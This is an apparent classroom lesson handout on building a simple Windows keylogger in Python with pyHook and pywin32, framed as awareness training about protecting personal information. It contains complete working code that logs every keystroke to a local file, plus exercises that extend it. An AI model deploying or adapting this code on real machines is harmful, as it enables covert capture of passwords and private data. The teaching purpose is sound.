

Hack to Learn – Key Logger

1. What are the risks of using public computers?
2. How can you best protect your digital personal information (user names, passwords, identity numbers, financial information)?
3. What damage can happen if somebody obtains your digital personal information?

In this class we will write a simple Key Logger program in Python. The exercise will illustrate how easy it is to create a program that can be used for malicious purposes. The exercise is aimed to raise awareness of the importance to safeguard personal information.

Key Listeners in Python are OS specific. We will use Windows only for today's exercise.

Two additional libraries are required for the Key Logger:

1. **Pywin32** – to install this module, open the command prompt window and navigate to the Scripts folder under your Python installation directory, then type: **pip install pywin32**
2. **pyHook** – download the appropriate pyHook library (Windows32, your version of Python) from <https://www.lfd.uci.edu/~gohlke/pythonlibs/#pyhook>, note where you saved the file, then open the command prompt window, navigate to the Scripts folder under your Python installation directory and type pip install <path to the pyHook file>, e.g. **pip install c:\Users\student\Downloads\pyHook-1.5.1-cp36m-win32.whl**
3. To validate the installed modules, run **pip list** command from the Scripts folder under your Python installation directory.

Key Logger

```
import pyHook, pythoncom, sys, logging
f = 'C:\\keyloggeroutput.txt'
def OnKeyboardEvent(event):
    logging.basicConfig(filename=f, level=logging.DEBUG, format='%(message)s')
    logging.log(10, chr(event.Ascii))
    return True
hooks_manager = pyHook.HookManager()
hooks_manager.KeyDown = OnKeyboardEvent
hooks_manager.HookKeyboard()
pythoncom.PumpMessages()
```

Exercises

1. Make the key logger log 16 characters per line, instead of one character per line.
2. In addition to exercise 1, make the key logger log only when the user typed
 - a) a blank space
 - b) an “escape” key (see the pyHook.HookManager documentation)
3. Create a Windows shortcut to launch the key logger program.

Home work

1. Complete the class exercises.